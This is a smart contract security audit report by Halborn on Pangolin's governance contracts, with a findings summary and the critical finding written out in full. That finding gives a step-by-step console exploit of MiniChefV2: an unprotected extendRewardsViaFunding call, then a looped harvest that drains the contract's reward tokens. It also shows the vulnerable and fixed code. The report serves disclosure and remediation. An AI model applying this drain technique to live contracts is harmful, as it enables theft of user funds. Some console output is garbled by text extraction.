



# Pangolin

## Smart Contract Security Audit

Prepared by: Halborn

Date of Engagement: October 4th, 2021 - October 18th, 2021

Visit: [Halborn.com](https://Halborn.com)

DOCUMENT REVISION HISTORY	7
CONTACTS	7
1 EXECUTIVE OVERVIEW	8
1.1 INTRODUCTION	9
1.2 AUDIT SUMMARY	9
1.3 TEST APPROACH & METHODOLOGY	9
RISK METHODOLOGY	10
1.4 SCOPE	12
2 ASSESSMENT SUMMARY & FINDINGS OVERVIEW	13
3 FINDINGS & TECH DETAILS	14
3.1 (HAL-01) REWARD PERIOD CAN BE EXTENDED INDEFINITELY - <b>CRITICAL</b>	16
Description	16
Risk Level	21
Recommendation	21
Remediation Plan	21
3.2 (HAL-02) INCORRECT LOGIC IN MINICHEFV2 LEADS TO DOS - <b>HIGH</b>	23
Description	23
Proof of Concept	23
Code Location	24
Risk Level	25
Recommendation	25
Remediation Plan	25
3.3 (HAL-03) LACK OF INTEGER OVERFLOW/UNDERFLOW PROTECTION - <b>MEDIUM</b>	27

Description	27
Code Location	27
Risk Level	30
Recommendation	30
Reference	30
Remediation Plan	30

#### 3.4 (HAL-04) FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER - MEDIUM 31

Description	31
Risk Level	32
Recommendation	32
Remediation Plan	32

#### 3.5 (HAL-05) IMPRECISION IN REWARD DISTRIBUTION - LOW 33

Description	33
Risk Level	33
Recommendation	33
Remediation Plan	33

#### 3.6 (HAL-06) MISSING ZERO ADDRESS CHECK - LOW 34

Description	34
Code location	34
Risk Level	36
Recommendation	36
Remediation Plan	36

#### 3.7 (HAL-07) FLOATING PRAGMA - LOW 37

Description	37
-------------	----

Code Location	37
Risk Level	37
Recommendation	38
Remediation Plan	38
<b>3.8 (HAL-08) DEPRECATED PRAGMA VERSION OF SOLC - LOW</b>	<b>39</b>
Description	39
Risk Level	39
Recommendation	39
Remediation Plan	39
<b>3.9 (HAL-09) EXPERIMENTAL FEATURES ENABLED - LOW</b>	<b>40</b>
Description	40
Reference	41
Code Location	41
Risk Level	41
Recommendation	41
Remediation Plan	42
<b>3.10 (HAL-10) EXTERNAL CALLS WITHIN A LOOP - LOW</b>	<b>43</b>
Description	43
Code Location	43
Risk Level	46
Recommendation	46
Remediation Plan	46
<b>3.11 (HAL-11) USE OF BLOCK.TIMESTAMP - LOW</b>	<b>47</b>
Description	47

Code Location	47
Risk Level	51
Recommendation	51
Remediation Plan	51
<b>3.12 (HAL-12) INCOMPATIBILITY WITH INFLATIONARY TOKENS - LOW</b>	<b>52</b>
Description	52
Example	52
Risk Level	53
Recommendation	54
Remediation Plan	54
<b>3.13 (HAL-13) DIVIDE BEFORE MULTIPLY - LOW</b>	<b>55</b>
Description	55
Code Location	55
Risk Level	58
Recommendation	58
Remediation Plan	59
<b>3.14 (HAL-14) UNUSED VARIABLE/EXPRESSION - INFORMATIONAL</b>	<b>60</b>
Description	60
Code Location	60
Risk Level	64
Recommendation	64
Remediation Plan	64
<b>3.15 (HAL-15) POSSIBLE MISUSE OF PUBLIC FUNCTIONS - INFORMATIONAL</b>	<b>65</b>
Description	65
Risk Level	66

Recommendation	66
Remediation Plan	66
<b>3.16 (HAL-16) USE OF INLINE ASSEMBLY - INFORMATIONAL</b>	<b>67</b>
Description	67
Code Location	67
Risk Level	67
Recommendation	68
Reference	68
Remediation Plan	68
<b>3.17 (HAL-17) TAUTOLOGY EXPRESSIONS - INFORMATIONAL</b>	<b>69</b>
Description	69
Code Location	69
Risk Level	70
Recommendation	70
Remediation Plan	70
<b>4 MANUAL TESTING</b>	<b>71</b>
4.1 INTRODUCTION	72
4.2 AIRDROP CONTRACT	73
4.3 COMMUNITYTREASURY CONTRACT	74
4.4 GOVERNORALPHA CONTRACT	75
4.5 LIQUIDITYPOOLMANAGER CONTRACT	78
4.6 LIQUIDITYPOOLMANAGERV2 CONTRACT	82
4.7 PNG CONTRACT	83
4.8 PANGOLINVOTECALCULATOR CONTRACT	86

4.9	MINICHEFV2 CONTRACT	87
4.10	REWARDERCOMPLEX & REWARDERSIMPLE CONTRACT	105
4.11	STAKINGREWARDS CONTRACT	109
4.12	TIMELOCK CONTRACT	116
4.13	TREASURYVESTER CONTRACT	117
	References	118
4.14	TREASURYVESTERPROXY CONTRACT	119
5	AUTOMATED TESTING	123
5.1	STATIC ANALYSIS REPORT	124
	Description	124
	Slither results	124
5.2	AUTOMATED SECURITY SCAN	135
	Description	135
	MythX results	135

## DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	10/04/2021	Roberto Reigada
0.2	Document Updates	10/18/2021	Roberto Reigada
0.3	Document Review	10/18/2021	Roberto Reigada
1.0	Remediation Plan	10/26/2021	Roberto Reigada
1.1	Remediation Plan Review	10/27/2021	Gabi Urrutia

## CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	<a href="mailto:Rob.Behnke@halborn.com">Rob.Behnke@halborn.com</a>
Steven Walbroehl	Halborn	<a href="mailto:Steven.Walbroehl@halborn.com">Steven.Walbroehl@halborn.com</a>
Gabi Urrutia	Halborn	<a href="mailto:Gabi.Urrutia@halborn.com">Gabi.Urrutia@halborn.com</a>
Roberto Reigada	Halborn	<a href="mailto:Roberto.Reigada@halborn.com">Roberto.Reigada@halborn.com</a>





# EXECUTIVE OVERVIEW

## 1.1 INTRODUCTION

Pangolin engaged Halborn to conduct a security audit on their [Governance](#) smart contracts beginning on October 4th, 2021 and ending on October 18th, 2021. The security assessment was scoped to the smart contracts provided in the Github repository [pangolindex/governance](#)

## 1.2 AUDIT SUMMARY

The team at Halborn was provided two weeks for the engagement and assigned a full time security engineer to audit the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were addressed and accepted by the [Pangolin team](#).

## 1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the bridge code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the audit:

- Research into architecture and purpose
- Smart contract manual code review and walkthrough
- Graphing out functionality and contract logic/connectivity/functions ([solgraph](#))
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes
- Manual testing by custom scripts
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. ([MythX](#))
- Static Analysis of security for scoped contract, and imported functions. ([Slither](#))
- Testnet deployment ([Brownie](#), [Remix IDE](#))

#### RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident, and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. It's quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that was used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

#### RISK SCALE - LIKELIHOOD

- 5 - Almost certain an incident will occur.
- 4 - High probability of an incident occurring.
- 3 - Potential of a security incident in the long term.
- 2 - Low probability of an incident occurring.
- 1 - Very unlikely issue will cause an incident.

#### RISK SCALE - IMPACT

- 5 - May cause devastating and unrecoverable impact or loss.
- 4 - May cause a significant level of impact or loss.

- 3 - May cause a partial impact or loss to many.
- 2 - May cause temporary impact or loss.
- 1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.



- 10 - CRITICAL
- 9 - 8 - HIGH
- 7 - 6 - MEDIUM
- 5 - 4 - LOW
- 3 - 1 - VERY LOW AND INFORMATIONAL

## 1.4 SCOPE

IN-SCOPE:

The security assessment was scoped to the following [governance smart contracts](#):

- [Airdrop.sol](#)
- [CommunityTreasury.sol](#)
- [GovernorAlpha.sol](#)
- [LiquidityPoolManager.sol](#)
- [LiquidityPoolManagerV2.sol](#)
- [MiniChefV2.sol](#)
- [PNG.sol](#)
- [PangolinVoteCalculator.sol](#)
- [RewarderComplex.sol](#)
- [RewarderSimple.sol](#)
- [StakingRewards.sol](#)
- [Timelock.sol](#)
- [TreasuryVester.sol](#)
- [TreasuryVesterProxy.sol](#)
- All contracts inherited by these contracts

**Commit ID:** [484b16dbf83480906ec9f20f7b4887ed81590330](#)

**Fixed Commit ID:** [aed6d4c1d7e0c7da1c58fea7b8d877e60cf83ad4](#)

## 2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	1	2	9	4

### LIKELIHOOD

IMPACT

				(HAL-01)
	(HAL-04)		(HAL-02)	
(HAL-07) (HAL-08) (HAL-09)		(HAL-03)		
(HAL-16)	(HAL-10) (HAL-12) (HAL-13)	(HAL-05) (HAL-06)		
(HAL-14) (HAL-15) (HAL-17)		(HAL-11)		

SECURITY ANALYSIS	RISK LEVEL	REMEDATION DATE
HAL01 - REWARD PERIOD CAN BE EXTENDED INDEFINITELY	Critical	SOLVED - 10/25/2021
HAL02 - INCORRECT LOGIC IN MINICHEFV2 LEADS TO DOS	High	SOLVED - 10/25/2021
HAL03 - LACK OF INTEGER OVERFLOW/UNDERFLOW PROTECTION	Medium	SOLVED - 10/25/2021
HAL04 - FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER	Medium	SOLVED - 10/25/2021
HAL05 - IMPRECISION IN REWARD DISTRIBUTION	Low	RISK ACCEPTED
HAL06 - MISSING ZERO ADDRESS CHECK	Low	RISK ACCEPTED
HAL07 - FLOATING PRAGMA	Low	SOLVED - 10/25/2021
HAL08 - DEPRECATED PRAGMA VERSION OF SOLC	Low	RISK ACCEPTED
HAL09 - EXPERIMENTAL FEATURES ENABLED	Low	RISK ACCEPTED
HAL10 - EXTERNAL CALLS WITHIN A LOOP	Low	RISK ACCEPTED
HAL11 - USE OF BLOCK.TIMESTAMP	Low	RISK ACCEPTED
HAL12 - INCOMPATIBILITY WITH INFLATIONARY TOKENS	Low	RISK ACCEPTED
HAL13 - DIVIDE BEFORE MULTIPLY	Low	RISK ACCEPTED
HAL14 - UNUSED VARIABLE/EXPRESSION	Informational	ACKNOWLEDGED
HAL15 - POSSIBLE MISUSE OF PUBLIC FUNCTIONS	Informational	ACKNOWLEDGED
HAL16 - USE OF INLINE ASSEMBLY	Informational	ACKNOWLEDGED
HAL17 - TAUTOLOGY EXPRESSIONS	Informational	ACKNOWLEDGED



# FINDINGS & TECH DETAILS



## 3.1 (HAL-01) REWARD PERIOD CAN BE EXTENDED INDEFINITELY - CRITICAL

### Description:

In the contract `MiniChefV2` the functions `fundRewards`, `extendRewardsViaFunding` and `extendRewardsViaFunding` perform internally the following function call:

```
SUSHI.safeTransfer(address(this), AmountOfTokensToTransfer);
```

This call does not make much sense as it is transferring tokens from the smart contract balance to itself `address(this)` which allows the following exploitable scenario:

1. Contract `MiniChefV2` is deployed.

```
>>> sushi = owner.deploy(SUSHI)
Transaction sent: 0x7ad7af55ea3120d0c0e4ab038f7b15c7cc5fa126d53bf66c5ab0a05bfc135c1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
SUSHI.constructor confirmed Block: 13429294 Gas used: 905517 (13.47%)
SUSHI deployed at: 0x7C8F425A0E8daEa33CE68489d6977A113B3a293
```

```
>>> minichef = owner.deploy(MiniChefV2, sushi.address, owner.address)
Transaction sent: 0x45d1de8efdb46bd080ca6b6e43e73e3ef95ca1ea40cfb10de9548a88b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.constructor confirmed Block: 13429295 Gas used: 2862582 (42.59%)
MiniChefV2 deployed at: 0x35F8812831F8897D63c42c3979e3B2d9E293fF5
```

2. Pool is added by the owner of the contract.

```
>>> sushi.mint(owner.address, 2000000000000000000) # 20e18
Transaction sent: 0x4f194906478416879d314543b7e0c7b1e346b02495c315553a2f9125ab23da3
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
SUSHI.mint confirmed Block: 13429305 Gas used: 66667 (0.99%)
```

```
<Transaction '0x4f194906478416879d314543b7e0c7b1e346b02495c315553a2f9125ab23da3'>
>>> lptoken.mint(user1.address, 1000)
Transaction sent: 0x273398e9c129b661c04c2e94b84da6e853a4087a866ef676a0745032f490a3f7
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
lptoken.mint confirmed Block: 13429306 Gas used: 66607 (0.99%)
```

```
<Transaction '0x273398e9c129b661c04c2e94b84da6e853a4087a866ef676a0745032f490a3f7'>
>>> ouppus.yellow("Adding 1 pool in MiniChefV2.")
minichef.addPool(100, lptoken.address, reward1.address)
Adding 1 pool in MiniChefV2:
Transaction sent: 0xd07355afe01e6386dc77ce2a65bfff9256d6bd2539a2c38e344cd0408459d58f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
MiniChefV2.addPool confirmed Block: 13429307 Gas used: 195611 (2.91%)
```

3. Owner of the contract transfer `20e18` SUSHI tokens to the `MiniChefV2` contract.

```
>>> sushi.approve(minichef.address, 2000000000000000000, {'from': owner.address}) # 20e18
Transaction sent: 0xcd791849b44b2b8376644961481ff7c3e3fc9111e8eabd7686daf6836abee3fe
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
SUSHI.approve confirmed Block: 13429308 Gas used: 44186 (0.66%)
```

```
<Transaction '0xcd791849b44b2b8376644961481ff7c3e3fc9111e8eabd7686daf6836abee3fe'>
>>> sushi.transfer(minichef.address, 2000000000000000000, {'from': owner.address}) # 20e18 - CONTRACT HAS 20e18 SUSHI REWARD TOKENS
Transaction sent: 0xadca59603fd97bb3215b8c8d6483b0647349bcb4274f7a2079d24f21d0a5134
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
SUSHI.transfer confirmed Block: 13429309 Gas used: 51075 (0.76%)
```

```
<Transaction '0xadca59603fd97bb3215b8c8d6483b0647349bcb4274f7a2079d24f21d0a5134'>
>>> sushi.balanceOf(minichef.address)
19999999999999999999
```

4. Owner of the contract calls `minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})`. This means that just `1e18` SUSHI tokens were set as a reward for a total period of `86400` seconds (1 day). Once this reward period is finished and the tokens were harvested by the users, `19e18` SUSHI tokens should still remain in

the contract.

```
>>> output.green("Before fundRewards call: sushi.balanceOf(minichef.address) -> " + str(sushi.balanceOf(minichef.address)))
Before fundRewards call: sushi.balanceOf(minichef.address) -> 2000000000000000000
>>> tx = minichef.fundRewards(1000000000000000000, 86400, ('from': owner.address)) # 1e18 / 1 day = 86400 seconds
Transaction sent: 0x0d1c6e48f8999e2f8063da92207f7061dfe5440c9711677f450cc9592d3f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MiniChefV2.fundRewards confirmed Block: 13429310 Gas used: 92021 (1.37%)

>>> output.green("After fundRewards call: sushi.balanceOf(minichef.address) -> " + str(sushi.balanceOf(minichef.address)))
After fundRewards call: sushi.balanceOf(minichef.address) -> 2000000000000000000
>>> tx.subcalls
[
  {
    'from': "0x35f812831f5887d63c4ac3879e3b2d8e2d93ff5",
    'function': "transfer(address,uint256)",
    'inputs': {
      'amount': "1000000000000000000",
      'recipient': "0x35f812831f5887d63c4ac3879e3b2d8e2d93ff5"
    },
    'op': "CALL",
    'return_value': (True),
    'to': "0x35f812831f5887d63c4ac3879e3b2d8e2d93ff5",
    'value': 0
  },
  {
    'from': "0x35f812831f5887d63c4ac3879e3b2d8e2d93ff5",
    'function': "balanceOf(address)",
    'inputs': {
      'account': "0x35f812831f5887d63c4ac3879e3b2d8e2d93ff5"
    },
    'op': "STATICCALL",
    'return_value': (0),
    'to': "0x189ad83d1380406c4032ff72d960560d445a3e9"
  }
]
>>> minichef.address
0x35f812831f5887d63c4ac3879e3b2d8e2d93ff5
>>> # We can see how the Sushi balance of the minichef contract remains the same as the tokens were transferred from the minichef
# contract to the minichef contract which makes no sense
```

- Attacker calls **deposit** function, for example depositing 1000 LP tokens into pool id 0.

```
>>> output.yellow("User1 deposits 1000 LP tokens in pool 0")
User1 deposits 1000 LP tokens in pool 0
>>> lpToken1.approve(minichef.address, 1000, ('from': user1.address))
Transaction sent: 0x187cfa59fd2a32bc3390e99126848a7dcd9013db3f046028d37be2fd56e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13429311 Gas used: 44126 (0.66%)

<Transaction '0x187cfa59fd2a32bc3390e99126848a7dcd9013db3f046028d37be2fd56e'>
>>> minichef.deposit(0, 1000, user1.address, ('from': user1.address))
Transaction sent: 0x22eb1d1dd50e5afe6943a02656f8b8ac4eb2067a28858f41802ff4d0d034b0
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13429312 Gas used: 89855 (1.34%)

<Transaction '0x22eb1d1dd50e5afe6943a02656f8b8ac4eb2067a28858f41802ff4d0d034b0'>
```

43200 seconds (12 hours) later. . .

- Attacker calls **harvest** and receives 500092592592589392 SUSHI tokens.

```
>>> output.yellow("Sleeping 43200 seconds...")
Sleeping 43200 seconds...
>>> chain.sleep(43200)
>>> chain.mine(1)
13429313
>>> minichef.harvest(0, user1.address, ('from': user1.address))
Transaction sent: 0x2a7994f4dc25370e41dc6b2f8c8a88f6e248696427371cd8302913356b53
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.harvest confirmed Block: 13429314 Gas used: 70959 (1.06%)

<Transaction '0x2a7994f4dc25370e41dc6b2f8c8a88f6e248696427371cd8302913356b53'>
>>> output.redd("lpToken1.balanceOf(user1.address) -> " + str(lpToken1.balanceOf(user1.address)))
output.redd("sushi.balanceOf(user1.address) -> " + str(sushi.balanceOf(user1.address)))
output.green("sushi.balanceOf(minichef.address) -> " + str(sushi.balanceOf(minichef.address)))
lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 500092592592589392
sushi.balanceOf(minichef.address) -> 19499907407407410608
```

These tokens are sent through the **harvest** function:

Listing 1: MiniChefV2.sol - function harvest (Lines 331)

```
320 function harvest(uint256 pid, address to) public {
321     PoolInfo memory pool = updatePool(pid);
322     UserInfo storage user = userInfo[pid][msg.sender];
323     int256 accumulatedSushi = int256(user.amount.mul(pool.
        accSushiPerShare) / ACC_SUSHI_PRECISION);
324     uint256 _pendingSushi = accumulatedSushi.sub(user.rewardDebt).
        toUInt256();
325
326     // Effects
327     user.rewardDebt = accumulatedSushi;
328
329     // Interactions
```

```

330     if (_pendingSushi != 0) {
331         SUSHI.safeTransfer(to, _pendingSushi);
332     }
333
334     IRewarder _rewarder = rewarder[pid];
335     if (address(_rewarder) != address(0)) {
336         _rewarder.onSushiReward( pid, msg.sender, to,
337                                 _pendingSushi, user.amount);
338     }
339     emit Harvest(msg.sender, pid, _pendingSushi);
340 }

```

And... the exploit itself:

7. User1 calls `minichef.extendRewardsViaFunding(19499907407407410608, 0, {'from': user1.address})`. Note that the amount specified is the total balance of SUSHI reward tokens of the `MiniChefV2` contract:

```

sushi.balanceOf(minichef.address) -> 19499907407407410608
>>> minichef.extendRewardsViaFunding(19499907407407410608,0, {'from': user1.address})
Transaction sent: 0x082030b55a5467cfae8f6bf594060bc7151202d994f16f22f9e53457e80e8741
Gas prices: 0.0 gwei Gas limit: 4721976 Nonce: 3
MiniChefV22.extendRewardsViaFunding confirmed Block: 13429315 Gas used: 23241 (0.35%)
<Transaction '0x082030b55a5467cfae8f6bf594060bc7151202d994f16f22f9e53457e80e8741'>

```

This is possible as `extendRewardsViaFunding` is an external function and has no `onlyOwner` modifier. It can be called by anyone:

Listing 2: `MiniChefV2.sol` - function `extendRewardsViaFunding` (Lines 459)

```

451 function extendRewardsViaFunding(uint256 funding, uint256
452     minExtension) external {
453     require(funding > 0, "MiniChefV2: funding amount cannot be
454         zero");
455     uint256 extensionDuration = funding / sushiPerSecond;
456     require(extensionDuration >= minExtension, "MiniChefV2:
457         insufficient extension limit");
458     rewardsExpiration = rewardsExpiration.add(extensionDuration);
459     SUSHI.safeTransfer(address(this), funding);
460
461     emit LogRewardsExpiration(rewardsExpiration);
462 }

```

8. Right after this call the reward period was extended. As the reward rate is kept, the attacker now can call the `harvest` function every fixed periods of time until retrieving the 20e18 total reward tokens:

Listing 3

```

1 i = 1
2 while i<=40:
3     print("Iteration -> " + str(i))
4     output.yelloww("Sleeping 43200 seconds...")
5     chain.sleep(43200)
6     chain.mine(1)
7     output.yelloww("Call -> minichef.harvest(0, user1.address, {'
      from': user1.address})")
8     minichef.harvest(0, user1.address, {'from': user1.address})
9     output.redd("lptoken1.balanceOf(user1.address) -> " + str(
      lptoken1.balanceOf(user1.address)))
10    output.redd("sushi.balanceOf(user1.address) -> " + str(sushi.
      balanceOf(user1.address)))
11    output.greenn("sushi.balanceOf(minichef.address) -> " + str(
      sushi.balanceOf(minichef.address)))
12    i=i+1

```

## ITERATION 1:

```

Iteration -> 1
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xa0e50962cflc6c8022eb4e28clea43e76ac958675a5befd07dle024eb9ee3ec2
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 4
MiniChefV22.harvest confirmed Block: 13429317 Gas used: 70959 (1.06%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 1000335648148141746
sushi.balanceOf(minichef.address) -> 18999664351851858254

```

## ITERATION 10:

```

Iteration -> 10
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x41071371dlb8cbf464623ba420e868958f2e08a25508d9520f5be65ala554f4d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
MiniChefV22.harvest confirmed Block: 13429335 Gas used: 70959 (1.06%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 5500405092592557390
sushi.balanceOf(minichef.address) -> 14499594907407442610

```

## ITERATION 20:

```

Iteration -> 20
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x2335falec54c747836ab0cfb029dc41f4a052b0b9322169b4683dac72156a198
  Gas price: 0.0 gwei  Gas limit: 6721975  Nonce: 23
  MiniChefV22.harvest confirmed  Block: 13429355  Gas used: 70959 (1.06%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 10500486111111043908
sushi.balanceOf(minichef.address) -> 9499513888888956092

```

## ITERATION 30:

```

Iteration -> 30
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x53bb99839f9b675fff47f8c3fcec195676a860810f538ff67f4b859e06ee7f3
  Gas price: 0.0 gwei  Gas limit: 6721975  Nonce: 33
  MiniChefV22.harvest confirmed  Block: 13429375  Gas used: 70959 (1.06%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 15500567129629530426
sushi.balanceOf(minichef.address) -> 4499432870370469574

```

## LAST 3 ITERATIONS:

```

Iteration -> 37
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xf966930b772131ba92670e83523a535cfe631e17ece659e7181c51179e3226c
  Gas price: 0.0 gwei  Gas limit: 6721975  Nonce: 40
  MiniChefV22.harvest confirmed  Block: 13429389  Gas used: 70959 (1.06%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 19000624999999878396
sushi.balanceOf(minichef.address) -> 999375000000121604
Iteration -> 38
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0x8f03d1e8f846a20c18593b7acd76fe2444b7d152baafc0a39ba1071e87f5
  Gas price: 0.0 gwei  Gas limit: 6721975  Nonce: 41
  MiniChefV22.harvest confirmed  Block: 13429391  Gas used: 70959 (1.06%)

lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 19500636574073949270
sushi.balanceOf(minichef.address) -> 499363425926050730
Iteration -> 39
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0xe1c4fa8998f4bfb3ca92dd9e333d27802cdd048f22b67c2ca35c77891767d8f
  Gas price: 0.0 gwei  Gas limit: 6721975  Nonce: 42
  MiniChefV22.harvest confirmed (BoringERC20: Transfer failed)  Block: 13429393  Gas

```

Even if the owner of the contract only funded 1e18 reward tokens the attacker managed to steal the total amount: 20e18.

Risk Level:

Likelihood - 5

Impact - 5

Recommendation:

Halborn recommends adding the `onlyOwner` modifier to the functions `extendRewardsViaFunding` and `extendRewardsViaDuration`. Also, it is recommended to review and update accordingly the functions where `SUSHI.safeTransfer` is used.

Remediation Plan:

**SOLVED:** Pangolin team fixed all the functions by using `safeTransferFrom(msg.sender, address(this), funding);`.

The issue previously was that `safeTransfer(address(this), funding);` was being used. This call was basically transferring the tokens from the smart contract balance to the smart contract balance which makes no sense.

By using `safeTransferFrom(msg.sender, address(this), funding);` the tokens are now being transferred from the person that calls the function `fundRewards`, `extendRewardsViaFunding` and `extendRewardsViaDuration` to the smart contract as it was intended in the first place. We can see below the code changes performed by Pangolin team which totally corrected this issue. At the left, the old code and at the right, the fixed code:

```

fundRewards:
403 // @notice Add funding and potentially extend duration of the rolling reward period
404 // @param funding Amount of reward token to add
405 // @param duration Total time (seconds) during which the additional funds are distributed
406 function fundRewards(uint256 funding, uint256 duration) external onlyFunder {
407     require(funding > 0, "MinichefV2: funding cannot be zero");
408
409     SUSHI.safeTransfer(address(this), funding);
410
411     if (block.timestamp >= rewardsExpiration) {
412         require(duration > 0, "MinichefV2: reward duration cannot be zero");
413         massUpdateAllPools();
414         rewardsExpiration = block.timestamp.add(duration);
415         sushiPerSecond = funding / duration;
416     } else {
417         uint256 remainingTime = rewardsExpiration.sub(block.timestamp);
418         uint256 remainingRewards = remainingTime.mul(sushiPerSecond);
419         uint256 newRewardsExpiration = rewardsExpiration.add(duration);
420         uint256 newSushiPerSecond = remainingRewards.add(funding) / (newRewardsExpiration.sub(block.timestamp));
421         if (newSushiPerSecond != sushiPerSecond) {
422             massUpdateAllPools();
423             rewardsExpiration = newRewardsExpiration;
424             sushiPerSecond = newSushiPerSecond;
425         }
426     }
427     emit LogSushiPerSecond(sushiPerSecond);
428     emit LogRewardsExpiration(rewardsExpiration);
429 }
430
431
432 // @notice Add funding and potentially extend duration of the rolling reward period
433 // @param funding Amount of reward token to add
434 // @param duration Total time (seconds) during which the additional funds are distributed
435 function fundRewards(uint256 funding, uint256 duration) external onlyFunder {
436     require(funding > 0, "MinichefV2: funding cannot be zero");
437
438     REWARD.safeTransferFrom(msg.sender, address(this), funding);
439
440     if (block.timestamp >= rewardsExpiration) {
441         require(duration > 0, "MinichefV2: reward duration cannot be zero");
442         massUpdateAllPools();
443         rewardsExpiration = block.timestamp.add(duration);
444         rewardPerSecond = funding / duration;
445     } else {
446         uint256 remainingTime = rewardsExpiration.sub(block.timestamp);
447         uint256 remainingRewards = remainingTime.mul(rewardPerSecond);
448         uint256 newRewardsExpiration = rewardsExpiration.add(duration);
449         uint256 newRewardPerSecond = remainingRewards.add(funding) / (newRewardsExpiration.sub(block.timestamp));
450         if (newRewardPerSecond != rewardPerSecond) {
451             massUpdateAllPools();
452             rewardsExpiration = newRewardsExpiration;
453             rewardPerSecond = newRewardPerSecond;
454         }
455     }
456     emit LogRewardPerSecond(rewardPerSecond);
457     emit LogRewardsExpiration(rewardsExpiration);
458 }
459

```

## extendRewardsViaFunding and extendRewardsViaFunding:

```

448 /// @notice Extends the rolling reward period by adding funds without changing the reward rate
449 /// @param funding Amount of reward token to add
450 /// @notice minExtension Minimum time (seconds) that the reward duration must be increased
451 function extendRewardsViaFunding(uint256 funding, uint256 minExtension) external {
452     require(funding > 0, "MiniChefV2: funding amount cannot be zero");
453
454     uint256 extensionDuration = funding / sushiPerSecond;
455     require(extensionDuration >= minExtension, "MiniChefV2: insufficient extension limit");
456
457     rewardsExpiration = rewardsExpiration.add(extensionDuration);
458
459     SUSHI.safeTransfer(address(this), funding);
460
461     emit LogRewardsExpiration(rewardsExpiration);
462 }
463
464 /// @notice Extends the rolling reward period by adding funds without changing the reward rate
465 /// @param extension Time (seconds) to increase the rewards duration
466 /// @param maxFunding Maximum amount of the reward token that can be used
467 function extendRewardsViaDuration(uint256 extension, uint256 maxFunding) external {
468     require(extension > 0, "MiniChefV2: extension duration cannot be zero");
469
470     uint256 fundingRequired = sushiPerSecond.mul(extension);
471     require(fundingRequired <= maxFunding, "MiniChefV2: insufficient funding limit");
472
473     rewardsExpiration = rewardsExpiration.add(extension);
474
475     SUSHI.safeTransfer(address(this), fundingRequired);
476
477     emit LogRewardsExpiration(rewardsExpiration);
478 }
479 }

```

```

457 /// @notice Extends the rolling reward period by adding funds without changing the reward rate
458 /// @param funding Amount of reward token to add
459 /// @notice minExtension Minimum time (seconds) that the reward duration must be increased
460 function extendRewardsViaFunding(uint256 funding, uint256 minExtension) external {
461     require(funding > 0, "MiniChefV2: funding amount cannot be zero");
462
463     uint256 extensionDuration = funding / rewardPerSecond;
464     require(extensionDuration >= minExtension, "MiniChefV2: insufficient extension limit");
465
466     rewardsExpiration = rewardsExpiration.add(extensionDuration);
467
468     REWARD.safeTransferFrom(msg.sender, address(this), funding);
469
470     emit LogRewardsExpiration(rewardsExpiration);
471 }
472
473 /// @notice Extends the rolling reward period by adding funds without changing the reward rate
474 /// @param extension Time (seconds) to increase the rewards duration
475 /// @param maxFunding Maximum amount of the reward token that can be used
